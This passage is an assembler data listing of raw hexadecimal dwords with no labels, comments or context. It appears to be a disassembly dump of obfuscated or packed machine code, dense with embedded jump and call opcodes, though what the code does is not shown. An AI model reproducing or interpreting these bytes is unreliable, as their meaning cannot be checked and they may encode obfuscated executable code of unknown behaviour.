		dd 61606072h, 0F081FC61h, 7A2B700h, 0B1F78B66h,	9E88Bh
		dd 0FCE00000h, 0DCCA9805h, 539E2703h, 0FE9h, 7A06A200h
		dd 0D9C838D9h, 0A076B55Eh, 8CE38AA6h, 0F525959h, 48Fh
		dd 3DBE6600h, 13E95AF2h, 0F7000000h, 34BDABE3h,	0E7046A9Dh
		dd 384FC49Fh, 722BE86Eh, 0BFF9805Fh, 1D446F97h,	38A0Fh
		dd 0B70F0000h, 0FD88BD7h, 79BAD1B7h, 811F93D1h,	0AC7942CAh
		dd 6E87Fh, 0C2190000h, 57295776h, 13E857h, 0F55C0000h
		dd 0A2ED6F24h, 756E6F8Fh, 7426501Dh, 0FCED3927h, 585B5980h
		dd 0F8FCC80h, 8166FFB7h, 66C777D8h, 4AF1C681h, 271CF781h
		dd 90BF1531h, 81401068h, 8A83B9D9h, 10E96069h, 0B9000000h
		dd 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 662E2DFDh, 616BB3BAh
		dd 86D780F8h, 8F0Fh, 68B10000h,	7DD78166h, 3BEE80ABh, 0B78EB0F5h
		dd 0E68A6007h, 10E861FCh, 0C000000h, 9BE4E7D3h,	1876FDCAh
		dd 0E8E54E73h, 59A14268h, 0FEB9B866h, 14E9h, 0D5285200h
		dd 5814978Ch, 5AA2A648h, 3E019C29h, 949F77E1h, 26BB66D2h
		dd 2820F16h, 0B5000000h, 8E8BBh, 1B920000h, 3C5073BAh
		dd 665B8DC3h, 0ED30CB81h, 0C3BF0F60h, 12E961FCh, 0EE000000h
		dd 8F6F9639h, 95296D2h,	1A064257h, 23F13C7Eh, 12E9B6h
		dd 21680000h, 7BD6F5C6h, 3758C93h, 0B90E24CEh, 0AE40A427h
		dd 0DBEAA2BFh, 0CE816646h, 8B664E24h, 11E8FCF0h, 5C000000h
		dd 9D59CBB3h, 0C5F186BDh, 5B692BB5h, 25497930h,	0FD27BB66h
		dd 0CE95Eh, 80280000h, 92C2DDEDh, 2B3DAA64h, 0BF0F6FB1h
		dd 0FB960D7h, 66407DE2h, 0F61D98Bh, 281h, 0E838B400h, 9
		dd 1E77AA86h, 154EE36Ch, 5B53B618h, 13E8h, 0D682B600h
		dd 1ED6DEEAh, 7222373Dh, 64D3630h, 5E8B01D3h, 68D0Fh, 8C0F0000h
		dd 0
		dd 58F5565Eh, 13E9h, 0D90B3100h, 398F9C8Fh, 9E7A0DC5h
		dd 4C3C8B8Fh, 1A456A5h,	0FD1F1FBAh, 7E936h, 0BDCC0000h
		dd 4750FBFh, 1770B898h,	0BF0F7209h, 0CE9F6h, 0E3D90000h
		dd 0F59743A5h, 944B4F6Dh, 0BA666DBEh, 840F829Ah, 11h, 0CE9h
		dd 87FDF500h, 964F6285h, 0E8C06C35h, 51F28BBDh,	18D0Fh
		dd 5EF50000h, 0B1C3BF0Fh, 7E95Ch, 22F40000h, 200F4401h
		dd 0D38B6637h, 69B8D6B1h, 666BC134h, 0F0E74BFh,	0D180FFBFh
		dd 94C681EEh, 0E95AF0B7h, 0Ch, 57BF5544h, 0D0962028h, 8A96DA68h
		dd 0BF0FF08Ah, 59FC56D1h, 13E94CB3h, 9C000000h,	0DD1B8BECh
		dd 0D0536650h, 0AEB82D8Fh, 4BE88E07h, 0AE9D52Fh, 73000000h
		dd 0FF45A5D5h, 4CC9FFh,	3CBE66DEh, 14870F63h, 0F000000h
		dd 0E8Dh, 9E900h, 28450000h, 4E6ADF1Eh,	0E8B867BEh, 12h
		dd 2132AAB3h, 780E3568h, 0A1759A3Eh, 0A3EFE31Bh, 8B66274Ah
		dd 0FA8B5ED9h, 9890Fh, 66600000h, 66E03DB8h, 0BB61F08Bh
		dd 4C883149h, 616CD181h, 816657E2h, 0F9CC8EE0h,	0C3C28166h
		dd 0E89CB78Ch, 10h, 208144D3h, 0E958EBA9h, 8DB5AFD4h, 92DDFD9Bh
		dd 0DE95AFCh, 0B1000000h, 2A8B1D5Eh, 0F147F80Bh, 0BA1877D4h
		dd 0E9C7BF0Fh, 14h, 51BCC56Eh, 7DE8803Dh, 1D68D90Ah, 0A1401DA5h
		dd 7C6F0DF8h, 0CE8D18Bh, 0BD000000h, 118D7B58h,	0F3511AFBh
		dd 818EEB87h, 0E3E45CC1h, 890F5E71h, 5,	0CBF68166h, 0C9B960BFh
		dd 81028D88h, 92760DDFh, 8B66617Ah, 0DA8166CBh,	0D78B76CEh
		dd 0FC8BF0Fh, 0B84h, 5810F00h, 0B9000000h, 7F7143F4h, 3830Fh
		dd 8B660000h, 8DD181D1h, 8B2A149Eh, 0CB8166F8h,	32BE3ED2h
		dd 66234F35h, 0C780D88Bh, 98B051E4h, 0B1FC8A59h, 880FF82Fh
		dd 4, 6127BA66h, 0C28EBA60h, 890F357Dh,	2, 0B9615E56h
		dd 323EBDA8h, 0A8C0Fh, 5E90000h, 0E0000000h, 0FD744458h
		dd 3AD18166h, 56BF66F4h, 0E953F512h, 5,	95922D99h, 0FA8B58E5h
		dd 10E9h, 0E341C000h, 0D865698Dh, 0B852FFC2h, 0A254C84Dh
		dd 95EE8170h, 0F526334Fh, 0AE9h, 521BEA00h, 57DA0BDCh
		dd 0E935DB9Dh, 9, 0F3EE7BDh, 4DCBD7FAh,	0CE849h, 0EB670000h
		dd 1E4990AEh, 0CD4A818Eh, 0FBBA9783h, 5B5108E3h, 307EEF81h
		dd 4DB8225Ch, 0BA5B9E14h, 266B5DFh, 346B966h, 9DE98160h
		dd 0E9732048h, 0Eh, 5157EE23h, 0ED48A5C6h, 573E7FD5h, 6661E5A1h
		dd 6617C2B8h, 0E89612BBh, 10h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh
		dd 34F8C2D3h, 0B742B866h, 0C7CBF5Bh, 0C1811721h, 7694B216h
		dd 128E0Fh, 0E9560000h,	0Bh, 16FAEC5Dh,	7A28C1A4h, 5FD00D6Bh
		dd 68F0Fh, 0DF810000h, 0D86867Eh, 9E9h,	7214A100h, 77E76C02h
		dd 0B70FD1D5h, 0FEB70FD1h, 9E857h, 0C39A0000h, 0EE29ACD3h
		dd 662A32FDh, 80FCC081h, 27BF585Fh, 66795E73h, 80CCCBB9h
		dd 0FA8B42C7h, 0D8CCEDBEh, 13E937h, 69030000h, 0CAE63B43h
		dd 0DF06C15Ah, 21DA2582h, 2C2FEC80h, 0C0B70F7Ah, 8E860h
		dd 0AC030000h, 2063F439h, 0CE9ED3Bh, 0F000000h,	1FA2DD8Dh
		dd 0E7669CD8h, 5FE409C1h, 10E95161h, 0FC000000h, 0CB667826h
		dd 36EEC0C2h, 664898E3h, 595D64DBh, 28A0Fh, 0F78B0000h
		dd 0DE8166FCh, 0BA609428h, 74C31A98h, 0ADD98166h, 0D98161D9h
		dd 6FBCEF9Dh, 0FE9F9h, 0E450000h, 5D065FC8h, 9415D25Ch
		dd 98594C10h, 0C68166EEh, 8B660CA9h, 0DF8B66D3h, 0B3B866FCh
		dd 10E9C2h, 772B0000h, 65C2CEB9h, 0D254B8A3h, 0AAAF433Dh
		dd 0A6B3B356h, 0DFB70F60h, 0D98061F5h, 0BF0F60B9h, 0BE860F2h
		dd 0B3000000h, 0E8AED3A5h, 5DFD1B6Bh, 61599641h, 0C2B70F61h
		dd 0E9D2B70Fh, 8, 7E37B9FEh, 0F6E2AD37h, 0D798B860h, 61F51C64h
		dd 0BE857h, 0CC9B0000h,	43C8384h, 23CE08C1h, 0BE9E5h, 9D460000h
		dd 0DA8FE7F4h, 0AB8D4503h, 0E95858B7h, 0Dh, 0F7666CF3h
		dd 0EED7A7DBh, 0ABCD6263h, 6E977h, 99A60000h, 2A10C2FBh
		dd 493DBB56h, 665A5803h, 0E96A3FB9h, 11h, 4BCB5538h, 489C3A60h
		dd 13F98B7Ah, 0DD7DCDF4h, 6660F512h, 32B6CA81h,	0DE9h
		dd 42768700h, 94BA222Fh, 0BC9BC6CFh, 6061FC2Fh,	0B302B866h
		dd 5880Fh, 81660000h, 617508E8h, 6E59E881h, 0B96605F3h
		dd 0B70F189Dh, 0E950B4FEh, 6, 9791EFA1h, 800F6183h, 5
		dd 5BC28166h, 830FF5CBh, 2, 8B0FEB8Ah, 13h, 0EE9h, 16C32F00h
		dd 17E59733h, 0EC267866h, 0BA1BB755h, 1E7250BCh, 0E9C28B66h
		dd 0Fh,	2A86042Bh, 0F588F5B8h, 611E72D8h, 0BE466B05h, 0F3DDA2Bh
		dd 0BE9h, 0AF1CB000h, 0E81D7D8Dh, 65E319F0h, 11E8h, 9F966900h
		dd 0E3F4B9FDh, 19897A56h, 8B6E6DDAh, 0EEB2956Dh, 0FCB8B5Ah
		dd 386h, 0C9B70F00h, 2AAA07BEh,	8B66532Ch, 0CE95FF7h, 76000000h
		dd 486C7DC2h, 7243AA2Ah, 0F21AB47h, 0BF0FF3BFh,	0AE9FBh
		dd 56D10000h, 83783928h, 0AE91B490h, 2530B866h,	0B4C2B70Fh
		dd 0E9F8B21Ch, 0Ch, 3173D178h, 0C5D38AF6h, 0A9779B0Fh
		dd 8E960h, 72380000h, 845523BEh, 0C68B5DAAh, 0B70FF961h
		dd 5CEF81D2h, 0F3DAE7Eh, 280h, 0FC7FB200h, 25C1BB66h, 0B8A0Fh
		dd 870F0000h, 5, 9516EDB8h, 7E86025h, 68000000h, 9F644DFCh
		dd 0B6B2F3BBh, 8B666159h, 0C88166C1h, 0F38B8703h, 1830Fh
		dd 52F80000h, 815ECF8Ah, 98088FEFh, 2FBF661Bh, 0F8AB273h
		dd 68Ch, 0D6DF8100h, 0E97A9D0Eh, 0Ah, 0CD9FE6F6h, 28705306h
		dd 0BE99303h, 79000000h, 9BF7A6C7h, 0FD0041DFh,	0B8664F64h
		dd 0BB66D04Dh, 0FC57F260h, 0DE85Bh, 7E880000h, 8155CE82h
		dd 4815FEC7h, 8A5CAA7Dh, 0DE959DDh, 94000000h, 2E570565h
		dd 2EEF7815h, 129F05DDh, 8B0Fh,	0CA810000h, 190F3259h
		dd 0A73035B9h, 0C9CF8144h, 0F769AAEh, 98Bh, 8D0F6000h
		dd 0
		dd 13E961F9h, 21000000h, 1BCCA0DCh, 87DC2E6Ch, 331021CAh
		dd 3BBA9369h, 8F0FFB1Fh, 0
		dd 0FC9C880h, 880h, 800F5700h, 0
		dd 0C1B86658h, 0F16B0C2h, 0D78BF8BFh, 0FE9h, 0E2E4E00h
		dd 0EF83A523h, 9D9A56C3h, 0EBD02FE0h, 0CE8h, 35DB9D00h
		dd 0B094751Fh, 84343E0Ah, 11E95E2Bh, 0C0000000h, 276A3E48h
		dd 0B814371Fh, 0FE0CD82Fh, 0EFA4240Ch, 0FD78C0BAh, 4761BA04h
		dd 8D0F2EC0h, 2, 8166CF8Bh, 0B72884F0h,	0E92EB3E8h, 6
		dd 5776C219h, 81665729h, 817592C1h, 0A02E64DFh,	14E8523Fh
		dd 0D3000000h, 3A0AE4B8h, 5D1912FEh, 13C51F05h,	2BA79F00h
		dd 81991A33h, 8061BEDEh, 815E5B76h, 0E2342BC8h,	0E99CB818h
		dd 810F3242h, 5, 0E2E28166h, 6613B438h,	0DA36CB81h, 6D52F781h
		dd 0B86606EEh, 14E9C1DCh, 50000000h, 0D4675A68h, 8A8CD25Dh
		dd 984E1C01h, 0A3FF59CDh, 8BF4691Ah, 0B95B57D7h, 0D6B62FFh
		dd 8166F28Bh, 0FC49B9D1h, 0B1C2B0BFh, 24B86607h, 9E9C9h
		dd 3FB80000h, 0F7BEDE42h, 0F58C12A3h, 0FE9h, 1EFF9E00h
		dd 55F17664h, 12AB425Ah, 0BE148DA4h, 72C78153h,	5E38BA8Eh
		dd 8EEB8166h, 0DCC78148h, 0F01FA6Ch, 6E9DEBFh, 0C000000h
		dd 38C293F1h, 0CF8B66EBh, 0F5D9BF0Fh, 8A0FE68Ah, 5, 2E3343BAh
		dd 0D8B0F35h, 60000000h, 8D0Fh,	81660000h, 617B2ED1h, 0D7CA8166h
		dd 8AC28B3Bh, 66D681F9h, 66583E10h, 66E02EBAh, 5012EB81h
		dd 5860Fh, 66500000h, 0E959F08Bh, 0Eh, 0AB729F25h, 0B6E514E2h
		dd 42E4703Fh, 880FD8C5h, 0
		dd 58DFD681h, 0DF811F6Ch, 264DD298h, 76ABC881h,	0BF0F2A62h
		dd 8EE080F6h, 0B966F78Bh, 0F5F9BFAEh, 0CB8166FCh, 0BF0F3F8Bh
		dd 0B0D7B8D7h, 8B667DEFh, 0E38166FBh, 810FDF88h, 5, 98D38166h
		dd 0E6816680h, 6660F8D0h, 0B813BCBEh, 40D69780h, 2D78161h
		dd 6636E05Eh, 0D078F381h, 14E9h, 0AD52B200h, 0FCB7208Fh
		dd 91BAA1B2h, 2E9CE0B4h, 42139F4Ch, 8074B46Ah, 9E9E1ECh
		dd 0E4000000h, 0A606A6h, 0C62D85A8h, 0A8DB8166h, 816660E2h
		dd 66EE18C2h, 8161C68Bh, 7EE04BE1h, 0AE91Dh, 1C6A0000h
		dd 1487D669h, 3CBAFA88h, 0AAD18166h, 0C3B70FEEh, 0A890FF9h
		dd 0E9000000h, 5, 0CBB5E5ADh, 0E4BE66EBh, 0F9BF0FEBh, 28D0F53h
		dd 60000000h, 81665A61h, 6641C1DBh, 0F2C66BBh, 0DE9FBBFh
		dd 83000000h, 0C74355E0h, 4DFB1280h, 0E290C79h,	0E0FFB866h
		dd 0F5E7B2F9h, 0DB8025B0h, 38C0F7Eh, 66000000h,	8F0FF88Bh
		dd 0Dh,	8E9h, 0AB009F00h, 9033A958h, 8830FC4h, 0F000000h
		dd 280h, 81A1B200h, 3ABD07F2h, 43C18169h, 0F902930Eh, 0BF0FD38Bh
		dd 3830FD7h, 80000000h,	0CE85FF7h, 0A3000000h, 87A2B5A2h
		dd 2CB269E0h, 80A2180Fh, 805E5AEEh, 0CE8B7D0h, 0EC000000h
		dd 0DE26BAC4h, 0D27E58BAh, 5374322Fh, 5FCFBF0Fh, 0EE95Ah
		dd 84220000h, 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0DE9h, 9F714200h
		dd 0CF3F5BEEh, 2182C3BBh, 0D08BCF58h, 1830Fh, 0B6FC0000h
		dd 18D681D0h, 605A2AFBh, 5E960h, 123E0000h, 807BB659h
		dd 666123E9h, 0EE54E181h, 96C5BE61h, 0AE93051h,	1A000000h
		dd 5A756D6Bh, 1A466DE2h, 0F78B603Eh, 5A12BB66h,	12E961h
		dd 0A0AD0000h, 1C437CB7h, 5DCC62B0h, 991CBA5Ah,	592B0521h
		dd 0B4EBC480h, 0B86660C5h, 0E961F05Fh, 0Ah, 61641FDEh
		dd 0BFF45553h, 0B70F7AFCh, 8E960D6h, 0CA000000h, 922ECE5h
		dd 61D65187h, 8C0F51F5h, 0
		dd 3870F5Fh, 0F000000h,	6E9FBB7h, 0BD000000h, 41F020F2h
		dd 830F60B3h, 2, 0BB666160h, 6661DCDCh,	56A206BFh, 606BD281h
		dd 0F582430h, 8B0FD1B7h, 2, 9E9C28Bh, 0F000000h, 0C35979A0h
		dd 0B1D3F618h, 2B9DBF66h, 0DFB70F60h, 0B70F61FCh, 10E9C6h
		dd 0FB910000h, 1F1C009Ah, 0E0E2FF92h, 77191C3Ah, 0E9F91647h
		dd 0Fh,	0EC71F15Ah, 0B11F510Eh,	0AAB1AC3Bh, 66EF9A78h
		dd 8E9CE8Bh, 0B5000000h, 1F6381D9h, 662CFB53h, 81B9D3BFh
		dd 493C47C1h, 842ABB40h, 81666347h, 0BB3BC2F2h,	2C05A9E3h
		dd 0A5653CBEh, 8B3FB173h, 0BE9C2h, 0B6250000h, 0FD67697Fh
		dd 0E07409B1h, 0EE95Ch,	56F10000h, 0DC071C88h, 0CD07C3AEh
		dd 4C57C3FEh, 9DA4C181h, 0F5F97CABh, 12E9h, 0C1F14A00h
		dd 0EEBEF7F3h, 1ECB3244h, 7F678B18h, 66043090h,	494AC281h
		dd 9E957B2h, 50000000h,	0C6CDDF37h, 10073029h, 3840Fh
		dd 0B70F0000h, 0FFCF8D7h, 0A8Ah, 4840F00h, 66000000h, 668064BBh
		dd 0BB1A19B8h, 7A5E804Eh, 0AED28150h, 5E5597BFh, 13E8h
		dd 0B3AA3A00h, 0BED8E139h, 925C1DC9h, 7B541F0Eh, 84084749h
		dd 0DE8158F5h, 54D3991h, 0F28B66F5h, 2840Fh, 0A1B30000h
		dd 8E9h, 7516AD00h, 0CCD7D5h, 6810F5Eh,	81000000h, 0F66EDBCFh
		dd 4159BB3Bh, 81662C3Dh, 0FA233E3h, 58Ah, 0D1816600h, 0F38103C3h
		dd 1ED15E94h, 11E9h, 0A888A200h, 66115E5Dh, 4D84A682h
		dd 0CBECDCh, 0C681F527h, 5116AB96h, 0AE960h, 99350000h
		dd 0DE69B4A8h, 431D261Bh, 4F130CBEh, 2ABA617Dh,	0B86F3AEEh
		dd 2C4E2FACh, 1A84CB81h, 8E8195Ch, 30000000h, 3798C8A1h
		dd 60E81997h, 0D9F18166h, 61DF8BC6h, 5AF95258h,	5060FA8Bh
		dd 0EFF1C981h, 8B5F1C55h, 0E95261D3h, 6, 0DA9997B7h, 0E85F5FEDh
		dd 13h,	0DE16E434h, 0D723602Ah,	0C672107Ah, 0A8968800h
		dd 582A6F4Bh, 9CEE8166h, 6652FCF8h, 0BEDAC781h,	0E681665Fh
		dd 0CA81E6ADh, 289B6D72h, 95ECE881h, 8B6669FBh,	12E9FCD6h
		dd 71000000h, 17A04D00h, 5C1CBBBh, 658328Bh, 207F37F0h
		dd 0C38B6607h, 0FC0DD780h, 0BF66F78Ah, 11E8BA3Ah, 24000000h
		dd 0BB40B714h, 4FA64F72h, 6F7B428Ah, 785CE3DAh,	0C3815EF5h
		dd 261276CDh, 6E9h, 569CA800h, 0FC5DA64Dh, 12E8h, 0AD6F6400h
		dd 3066DFCAh, 29DCF81Ah, 131B317Eh, 0E971501Eh,	8, 7B51D260h
		dd 5EABAE94h, 6E85Eh, 95670000h, 9E64818h, 6E95BF8h, 0CE000000h
		dd 5D8F80FAh, 7E86Bh, 12F40000h, 0A17F9C7h, 18840FEBh
		dd 0E9000000h, 13h, 93B83829h, 9DDE13DBh, 41EDDCDCh, 6B45F06h
		dd 5ECC3914h, 79DF4B9h,	0A8F0F1Eh, 0E9000000h, 5, 0D5E76A7Eh
		dd 0BCD3B801h, 0DF8B7B2Eh, 0A401BE57h, 0E95A2628h, 13h
		dd 4ECDD7DCh, 98C45ADFh, 6AD4CE73h, 0A2C70555h,	0E8121731h
		dd 0Ch,	617654ECh, 3906036Dh, 90F0693Eh, 0EE39B3BBh, 0BEF85F19h
		dd 46905AC5h, 11E9h, 0FC3C1B00h, 0A32DD0C1h, 0BCDD8F00h
		dd 7C52FB89h, 8D0F312Ch, 6, 810Fh, 13E90000h, 2B000000h
		dd 0BE79AF68h, 54CA00F8h, 0D7025FA4h, 7CFEFC23h, 8BF5D3D8h
		dd 9E8DEh, 0DF0000h, 0D21441EBh, 5BB00EFDh, 0E8C78B66h
		dd 0Ah,	3AFE92ECh, 0FD2E4F8Ah, 816660F2h, 5B2BC6F0h, 5810Fh
		dd 81660000h, 66ED90E2h, 1674E081h, 9BAFBF66h, 0FDEBF0Fh
		dd 0BF0FD0B7h, 5E8CAh, 0A27D0000h, 0B9CB72FFh, 3C39782h
		dd 7FBE6658h, 82B8F9C8h, 0F4051E3h, 1983h, 14E900h, 835E0000h
		dd 6ADED69Eh, 0B0D89347h, 0A4CE838Eh, 0ED925579h, 0DE8B09A7h
		dd 3880Fh, 0BF0F0000h, 8ACE8AFEh, 0BE952C8h, 8B000000h
		dd 0EA64D265h, 9B11AD14h, 8B5F5861h, 0CE8C2h, 0E2090000h
		dd 28A5663Ah, 6333227Eh, 11E9F111h, 0CB000000h,	245BBD10h
		dd 960A9845h, 0EDE7F23Ah, 0B5D503EAh, 60B9665Bh, 14E981h
		dd 0A03C0000h, 26667D6Ch, 0E24713B2h, 0AE115658h, 0FBCD32DEh
		dd 6060F1D6h, 0EE8h, 3CA71A00h,	0B6DF9A48h, 2B610CB1h
		dd 5B50B265h, 5E8h, 2BF93300h, 615B20DDh, 0C8816660h, 6161C81Dh
		dd 0F5FF951h, 38Eh, 32C18000h, 11E984B5h, 2A000000h, 0DA9F3DF6h
		dd 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 0AE9F8F8h, 7C000000h
		dd 1A732439h, 6ED6AE59h, 3890FBEh, 66000000h, 6BB4CB8Bh
		dd 830Fh, 0DE90000h, 6A000000h,	531A2DD1h, 413C6E04h, 8D0EF047h
		dd 0E94FCD80h, 14h, 1FC84E4Ch, 0EDF0BCAEh, 92B5920Dh, 9725910Dh
		dd 6A2ED2F7h, 0D0B70FF8h, 9E9h,	9C8E5300h, 4B7EE35Ch, 0B866E875h
		dd 0D3B2C9FAh, 0FE8C68Ah, 0A3000000h, 6637247h,	0EB699B99h
		dd 0E1AA0098h, 0B70FABABh, 816659D3h, 0FE977EEh, 6E9CABFh
		dd 0D000000h, 0EB57389Eh, 8B2DBABEh, 0BF0F7FD7h, 0E0E0BAF7h
		dd 5E95B8Fh, 0B8000000h, 0D1C04B6Bh, 820FD68Bh,	0
		dd 0E108C681h, 830F5126h, 3, 0E8C5EE80h, 12h, 0AF356B82h
		dd 0FDB3AE4Ch, 2CE1C5E5h, 0FAF8EE4h, 8166DFE5h,	58AC39C8h
		dd 50C5BEF9h, 0B70F56A5h, 68C0FC2h, 81000000h, 0C3153CEBh
		dd 0BF666013h, 0BE66E0DAh, 66614992h, 0F781F78Bh, 261939D7h
		dd 8E8h, 0C2131F00h, 513FDDB8h,	32C3817Eh, 595C2370h, 0E9F9CE8Ah
		dd 0Ah,	237F3031h, 3285D7E4h, 0CE97A82h, 3B000000h, 0B68F13BAh
		dd 46AA7FE1h, 6636C259h, 0F89EC4BAh, 2800F51h, 50000000h
		dd 80605A5Eh, 8B660CC3h, 8B6661D0h, 6C74BAF3h, 0DE87D42h
		dd 5000000h, 2927A4DCh,	9EC23187h, 0BAC4EC87h, 0BE86C181h
		dd 0F55A365Fh, 0E9FB8B66h, 5, 8FF4E522h, 8FC7BA81h, 0AB94019h
		dd 815707D9h, 0D65E34C6h, 13E8FC13h, 58000000h,	5CA94B52h
		dd 0BAF30E7Eh, 4CC0709Bh, 4EEA6669h, 4DB5103Eh,	0F0B96659h
		dd 840F569Bh, 4, 265BBE66h, 1D8F0F5Ah, 60000000h, 11E9h
		dd 2E4C2F00h, 5EC6687Ch, 0B2420B04h, 49E29EB7h,	0C7BA5838h
		dd 615F0EABh, 1830Fh, 0B3F80000h, 3BE58072h, 830F60F8h
		dd 0
		dd 8161C68Ah, 937F28EBh, 0AE854h, 85340000h, 84A50AF1h
		dd 3D1C7EFAh, 6B09BF52h, 5E5A69CAh, 0CE9h, 0EDDA9900h
		dd 5D69D55Fh, 1BF24695h, 669EBBDAh, 0CF814BF5h,	70215ABBh
		dd 4830Fh, 0B8660000h, 66F954D7h, 0FFCCB8Bh, 860FFBB7h
		dd 2, 0F6021B7h, 6657F3B7h, 8DBD681h, 8F0F6158h, 3, 0E8CFB70Fh
		dd 11h,	0ACBEC560h, 0B3D6FD6Ah,	0E8AED3A5h, 5DFD1B6Bh
		dd 0DDB86641h, 0BF0F5A52h, 84C380C3h, 0F5C28B66h, 0A2B4BB66h
		dd 5870Fh, 3ABF0000h, 5107DBAAh, 86B2BA66h, 0D781665Fh
		dd 8D0F0970h, 6, 8D0Fh,	0F88A0000h, 0C0B70F60h,	0FFBF0F61h
		dd 10E8h, 0B18D1B00h, 75F730B9h, 55EDC8FCh, 88082B2Eh
		dd 14E96Eh, 79260000h, 0E72A8FB7h, 4F0CD715h, 5646B110h
		dd 0AC51FDC7h, 805F9A87h, 0B70F81CAh, 86BE66DBh, 0EE98Dh
		dd 0FFF50000h, 57D6B92Fh, 3B1CFC89h, 475D5329h,	11E95BB0h
		dd 6B000000h, 5404610Fh, 0C5A8404Eh, 93E45FB6h,	0C7096247h
		dd 1EB0EF8Ah, 7E950h, 14A60000h, 73A2A999h, 0C38B5B58h
		dd 0FE8F78Ah, 0E9000000h, 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h
		dd 535A3148h, 1870Fh, 59F80000h, 6E9h, 804BAB00h, 666D4BF6h
		dd 8F0FFE8Bh, 2, 8E0F19B2h, 7, 1810Fh, 8BFC0000h, 4810FF8h
		dd 53000000h, 8A585B53h, 8E9FCh, 77EE0000h, 924BCD82h
		dd 8A0FC873h, 2, 0F380E58Ah, 0AE857h, 7810000h,	90C7532Bh
		dd 914DA328h, 0E964BE66h, 58F0F5Ah, 66000000h, 0DA93C981h
		dd 0C18AD38Bh, 0C880Fh,	840F0000h, 6, 0B50BDF81h, 0FCF5022Bh
		dd 9E9F5F5h, 0E7000000h, 552BB12Fh, 59C8D9Ch, 13E956h
		dd 0C8010000h, 6B2DA878h, 7FEFAFEEh, 0DE30EAA8h, 9D029D1Ch
		dd 665659D8h, 59A742B9h, 8BBED18Bh, 0F189B26h, 68Bh, 0BBF28100h
		dd 8043AF26h, 0BF0F7EC7h, 0DFBF0FDBh, 0FFBF0F60h, 0FBB161F9h
		dd 0E05BF181h, 8B666BC9h, 0FCE8ACFh, 8166FEBFh,	0F6E5CC0h
		dd 8BF8C1BFh, 0B70F60D1h, 10E961D0h, 0DA000000h, 149FF7h
		dd 551DD8D6h, 9BE2309Eh, 60A65E18h, 5E8h, 0F34A6700h, 0E6B36DB6h
		dd 0CFBF0F5Fh, 118B0F61h, 0F000000h, 0B84h, 5E800h, 0D2E30000h
		dd 5B38DA82h, 66F38B66h, 818003B8h, 303F13D6h, 0BE9F57Eh
		dd 0D1000000h, 11C11FA1h, 4781D567h, 0F551E7B0h, 14E9605Eh
		dd 86000000h, 0ACFF7C73h, 31F78CB5h, 872EA52h, 0E751A649h
		dd 6140C4C2h, 118E0Fh, 9E80000h, 1A000000h, 0D60BD8C4h
		dd 5E306AC1h, 0E9585957h, 13h, 0FFD439CCh, 287DE6B4h, 0A39FDC26h
		dd 6714547Ah, 662B8F3Eh, 0F94CDE81h, 14E8h, 0DDB78700h
		dd 4618F3D4h, 480CC2DFh, 65B9ECCAh, 744A3E28h, 0D28166ABh
		dd 665E331Eh, 7EBED181h, 0A2BD5ABEh, 4C2815Eh, 6614FCECh
		dd 817AC2BBh, 0D98DA9D9h, 2800F7Ch, 8A000000h, 669AB7E6h
		dd 6651D08Bh, 0EC47E381h, 0EE9605Bh, 69000000h,	911706C9h
		dd 8368AFh, 0E0C321AFh,	82CF8095h, 0BE961h, 0B45E0000h
		dd 31B9E0B7h, 306410DCh, 5810F88h, 0BE000000h, 129B9950h
		dd 8BCAB70Fh, 810FFCFEh, 17h, 118C0Fh, 0BE80000h, 0CE000000h
		dd 0ABB7801h, 98891BD7h, 0B058BA3Eh, 0D0BF0FE6h, 5E9h
		dd 5B31BE00h, 0F18A4578h, 81DFB70Fh, 0DDFD79C0h, 13E971h
		dd 559A0000h, 4B91BBB5h, 90D9AE6h, 0A589BE98h, 16D7DFC1h
		dd 8B84B47Fh, 8166F9D0h, 0F24B4C9h, 1485h, 0DE95100h, 1A000000h
		dd 6D06EF80h, 820F36E2h, 0DD689975h, 0C88B6659h, 178F0Fh
		dd 6E80000h, 36000000h,	147985ECh, 6E98Ah, 2EC20000h, 30C15CDAh
		dd 0E9D88B5Ah, 5, 765D9082h, 7E9B8h, 0E7ED0000h, 8CBE252Eh
		dd 60F98B36h, 0C486C081h, 840F3F03h, 6,	58A5E181h, 0E8612D54h
		dd 0Dh,	69D76843h, 0DB21974Fh, 0D9612AB9h, 0F3816695h
		dd 5058FBB7h, 0E95999B3h, 7, 39EEED03h,	0E98F6F96h, 5
		dd 0FCB6504Dh, 60CA8B83h, 6173CF80h, 14E8h, 595F0100h
		dd 4D80C8B9h, 0B57EC520h, 2E805396h, 49ACF3A8h,	0BE892h
		dd 0BD460000h, 0AD506A61h, 446F4515h, 0EE96Dh, 0C69F0000h
		dd 6BF89FEBh, 4C6BDB0Bh, 403175AAh, 81525859h, 6DDD2FF2h
		dd 81665A7Ch, 0E9838FD7h, 5, 0A7ADBA15h, 815E5049h, 5A43C1F1h
		dd 5850F5Ah, 0BB000000h, 6EFA96CCh, 0BE9h, 0D34F6500h
		dd 2A973238h, 0ADDD06DFh, 820Fh, 81660000h, 81D763F0h
		dd 0D14084F1h, 88C0F4Bh, 0F000000h, 283h, 66616000h, 0D423D881h
		dd 0FCD0B70Fh, 0B820Fh,	8B0F0000h, 5, 0D82947BBh, 0AE824h
		dd 0F06C0000h, 0C466FBBDh, 8F95DC24h, 7E9h, 29342900h
		dd 0DE1CB1A6h, 0D281665Bh, 87B97A7Ch, 0F489F8Ch, 484h
		dd 0BFBF6600h, 3719BBA5h, 6160458Ch, 0CE61BE66h, 6E9h
		dd 575C600h, 0E921A027h, 0Bh, 6BD5F1F6h, 9FD24E76h, 0B9F86019h
		dd 6EF940F9h, 0C91B966h, 0FD2BF0Fh, 18Bh, 8B66F500h, 0D3BA66DFh
		dd 0C8816657h, 8166BF64h, 0FA213D1h, 28Ah, 66B6B400h, 0B38AD781h
		dd 0F681C18Bh, 71A583E4h, 88B0Fh, 8A0F0000h, 2,	8C0FF88Bh
		dd 2, 81661FB3h, 8B5631E0h, 80BE66C7h, 88A0F5Fh, 0F000000h
		dd 28Ah, 66585300h, 0B123C881h,	3C3374B9h, 0D2BA6651h
		dd 0D5E981FEh, 0E8698BF8h, 0Dh,	626D8621h, 0FD735DE7h
		dd 44128B25h, 0B85AF5E6h, 12A1F8F7h, 7E9h, 8D48C500h, 0D0720270h
		dd 7E9h, 0CC081F00h, 9C2E2C43h,	810Fh, 0DA800000h, 0AE9B3h
